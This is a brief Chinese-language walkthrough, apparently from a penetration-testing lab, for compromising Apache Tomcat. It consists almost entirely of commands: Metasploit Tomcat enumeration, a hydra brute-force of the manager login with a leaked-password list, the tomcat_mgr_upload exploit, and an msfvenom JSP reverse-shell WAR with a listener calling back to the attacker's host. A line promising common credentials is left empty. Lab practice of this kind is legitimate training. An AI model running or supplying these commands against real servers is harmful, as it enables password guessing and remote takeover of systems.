通过对apache tomcat的枚举和利用,我们可以从中找出漏洞,然后得到shell
msf> use auxiliary/scanner/http/tomcat_enum
常见的得到的用户名与密码是:
当然,我们也可以使用hydra进行暴力破解
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
use exploit/multi/http/tomcat_mgr_upload
show options
set RHOSTS
set RPORT 8080
set HttpPassword
set HttpUsername
set LHOST
exploit
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=9999 -f war -o rshell.war
use exploit/multi/handler
show options
set payload java/jsp_shell_reverse_tcp
set LHOST 10.10.14.10
set LPORT 9999
exploit